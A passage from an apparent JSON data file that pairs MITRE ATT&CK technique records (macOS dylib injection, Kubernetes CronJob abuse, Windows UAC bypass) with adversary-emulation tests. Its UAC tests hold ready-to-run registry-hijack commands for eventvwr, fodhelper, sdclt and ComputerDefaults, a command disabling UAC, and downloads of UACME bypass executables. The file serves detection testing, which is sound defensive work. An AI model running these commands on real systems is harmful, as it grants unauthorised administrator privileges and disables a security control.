"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "LC_LOAD_DYLIB Addition", - "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Module: Module Load", - "File: File Modification", - "Command: Command Execution", - "File: File Metadata", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1053.007": { - "technique": { - "x_mitre_platforms": [ - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Center for Threat-Informed Defense (CTID)", - "Vishwas Manral, McAfee", - "Yossi Weizman, Azure Defender Research Team" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096", - "type": "attack-pattern", - "created": "2021-03-29T17:06:22.247Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.007", - "url": "https://attack.mitre.org/techniques/T1053/007" - }, - { - "source_name": "Kubernetes Jobs", - "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/", - "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021." - }, - { - "source_name": "Kubernetes CronJob", - "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", - "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021." - }, - { - "source_name": "Threat Matrix for Kubernetes", - "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021." - } - ], - "modified": "2022-04-01T13:06:58.794Z", - "name": "Kubernetes Cronjob", - "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Container: Container Creation", - "Scheduled Job: Scheduled Job Creation", - "File: File Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_remote_support": true, - "identifier": "T1053.007" - }, - "atomic_tests": [] - }, - "T1548.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak", - "Casey Smith" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", - "created": "2020-01-30T14:24:34.977Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1548.002", - "url": "https://attack.mitre.org/techniques/T1548/002" - }, - { - "source_name": "Davidson Windows", - "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html", - "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014." - }, - { - "source_name": "TechNet How UAC Works", - "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", - "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016." - }, - { - "source_name": "SANS UAC Bypass", - "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", - "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016." - }, - { - "source_name": "MSDN COM Elevation", - "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx", - "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016." - }, - { - "source_name": "enigma0x3 Fileless UAC Bypass", - "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016." - }, - { - "source_name": "enigma0x3 sdclt app paths", - "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", - "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017." - }, - { - "source_name": "enigma0x3 sdclt bypass", - "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", - "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017." - }, - { - "source_name": "TechNet Inside UAC", - "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", - "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016." - }, - { - "source_name": "Fortinet Fareit", - "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware", - "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016." - }, - { - "source_name": "Github UACMe", - "url": "https://github.com/hfiref0x/UACME", - "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", - "modified": "2022-04-19T15:11:20.036Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Abuse Elevation Control Mechanism: Bypass User Account Control", - "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Metadata", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "Administrator" - ], - "x_mitre_defense_bypassed": [ - "Windows User Account Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1548.002" - }, - "atomic_tests": [ - { - "name": "Bypass UAC using Event Viewer (cmd)", - "auto_generated_guid": "5073adf8-9a50-4bd9-b298-a9bd2ead8af9", - "description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon execution command prompt should be launched with administrative privileges. \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_binary": { - "description": "Binary to execute with UAC Bypass", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "reg.exe add hkcu\\software\\classes\\mscfile\\shell\\open\\command /ve /d \"#{executable_binary}\" /f\ncmd.exe /c eventvwr.msc\n", - "cleanup_command": "reg.exe delete hkcu\\software\\classes\\mscfile /f >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Bypass UAC using Event Viewer (PowerShell)", - "auto_generated_guid": "a6ce9acf-842a-4af6-8f79-539be7608e2b", - "description": "PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon execution command prompt should be launched with administrative privalages\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_binary": { - "description": "Binary to execute with UAC Bypass", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "New-Item \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\mscfile\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\eventvwr.msc\"\n", - "cleanup_command": "Remove-Item \"HKCU:\\software\\classes\\mscfile\" -force -Recurse -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Bypass UAC using Fodhelper", - "auto_generated_guid": "58f641ea-12e3-499a-b684-44dee46bd182", - "description": "Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\nUpon execution, \"The operation completed successfully.\" will be shown twice and command prompt will be opened.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_binary": { - "description": "Binary to execute with UAC Bypass", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "reg.exe add hkcu\\software\\classes\\ms-settings\\shell\\open\\command /ve /d \"#{executable_binary}\" /f\nreg.exe add hkcu\\software\\classes\\ms-settings\\shell\\open\\command /v \"DelegateExecute\" /f\nfodhelper.exe\n", - "cleanup_command": "reg.exe delete hkcu\\software\\classes\\ms-settings /f >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Bypass UAC using Fodhelper - PowerShell", - "auto_generated_guid": "3f627297-6c38-4e7d-a278-fc2563eaaeaa", - "description": "PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\nUpon execution command prompt will be opened.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_binary": { - "description": "Binary to execute with UAC Bypass", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\fodhelper.exe\"\n", - "cleanup_command": "Remove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Bypass UAC using ComputerDefaults (PowerShell)", - "auto_generated_guid": "3c51abf2-44bf-42d8-9111-dc96ff66750f", - "description": "PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10\nUpon execution administrative command prompt should open\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_binary": { - "description": "Binary to execute with UAC Bypass", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\ComputerDefaults.exe\"\n", - "cleanup_command": "Remove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Bypass UAC by Mocking Trusted Directories", - "auto_generated_guid": "f7a35090-6f7f-4f64-bb47-d657bf5b10c1", - "description": "Creates a fake \"trusted directory\" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems\nUpon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable_binary": { - "description": "Binary to execute with UAC Bypass", - "type": "path", - "default": "C:\\Windows\\System32\\cmd.exe" - } - }, - "executor": { - "command": "mkdir \"\\\\?\\C:\\Windows \\System32\\\"\ncopy \"#{executable_binary}\" \"\\\\?\\C:\\Windows \\System32\\mmc.exe\"\nmklink c:\\testbypass.exe \"\\\\?\\C:\\Windows \\System32\\mmc.exe\"\n", - "cleanup_command": "rd \"\\\\?\\C:\\Windows \\\" /S /Q >nul 2>nul\ndel \"c:\\testbypass.exe\" >nul 2>nul\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Bypass UAC using sdclt DelegateExecute", - "auto_generated_guid": "3be891eb-4608-4173-87e8-78b494c029b7", - "description": "Bypasses User Account Control using a fileless method, registry only.\nUpon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe\n[Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)\nAdapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command.to.execute": { - "description": "Command to execute", - "type": "string", - "default": "cmd.exe /c notepad.exe" - } - }, - "executor": { - "command": "New-Item -Force -Path \"HKCU:\\Software\\Classes\\Folder\\shell\\open\\command\" -Value '#{command.to.execute}'\nNew-ItemProperty -Force -Path \"HKCU:\\Software\\Classes\\Folder\\shell\\open\\command\" -Name \"DelegateExecute\"\nStart-Process -FilePath $env:windir\\system32\\sdclt.exe\nStart-Sleep -s 3\n", - "cleanup_command": "Remove-Item -Path \"HKCU:\\Software\\Classes\\Folder\" -Recurse -Force -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Disable UAC using reg.exe", - "auto_generated_guid": "9e8af564-53ec-407e-aaa8-3cb20c3af7f9", - "description": "Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f\n", - "cleanup_command": "reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 1 /f\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Bypass UAC using SilentCleanup task", - "auto_generated_guid": "28104f8a-4ff1-4582-bcf6-699dce156608", - "description": "Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/\n\nThere is an auto-elevated task called SilentCleanup located in %windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level).\n\nFor example, we can set the windir registry kye to: \"cmd /k REM \"\n\nAnd forcefully run SilentCleanup task:\n\nschtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I\n\nREM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_path": { - "description": "Path to the bat file", - "type": "string", - "default": "PathToAtomicsFolder\\T1548.002\\src\\T1548.002.bat" - } - }, - "executor": { - "command": "#{file_path}\n", - "name": "command_prompt", - "elevation_required": false - } - }, - { - "name": "UACME Bypass Method 23", - "auto_generated_guid": "8ceab7a2-563a-47d2-b5ba-0995211128d7", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Leo Davidson derivative\n\nType:\tDll Hijack\n\nMethod: IFileOperation\n\nTarget:\t\\system32\\pkgmgr.exe\n\nComponent: DismCore.dll\n\nImplementation:\tucmDismMethod\n\nUCM Method:\tUacMethodDISM\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\23 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 31", - "auto_generated_guid": "b0f76240-9f33-4d34-90e8-3a7d501beb15", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\sdclt.exe\n\nComponent: Attacker defined\n\nImplementation:\tucmSdcltIsolatedCommandMethod\n\nUCM Method:\tUacMethodShellSdclt\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\31 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 33", - "auto_generated_guid": "e514bb03-f71c-4b22-9092-9f961ec6fb03", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: winscripting.blog\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\fodhelper.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodMsSettings2\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\33 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 34", - "auto_generated_guid": "695b2dac-423e-448e-b6ef-5b88e93011d6", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tShell API\n\nMethod: Environment variables expansion\n\nTarget:\t\\system32\\svchost.exe via \\system32\\schtasks.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDiskCleanupEnvironmentVariable\n\nUCM Method:\tUacMethodDiskSilentCleanup\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\34 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 39", - "auto_generated_guid": "56163687-081f-47da-bb9c-7b231c5585cf", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Stefan Kanthak\n\nType:\tDll Hijack\n\nMethod: .NET Code Profiler\n\nTarget:\t\\system32\\mmc.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmCorProfilerMethod\n\nUCM Method:\tUacMethodCorProfiler\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\39 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 56", - "auto_generated_guid": "235ec031-cd2d-465d-a7ae-68bab281e80e", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\56 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 59", - "auto_generated_guid": "dfb1b667-4bb8-4a63-a85e-29936ea75f29", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\59 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile 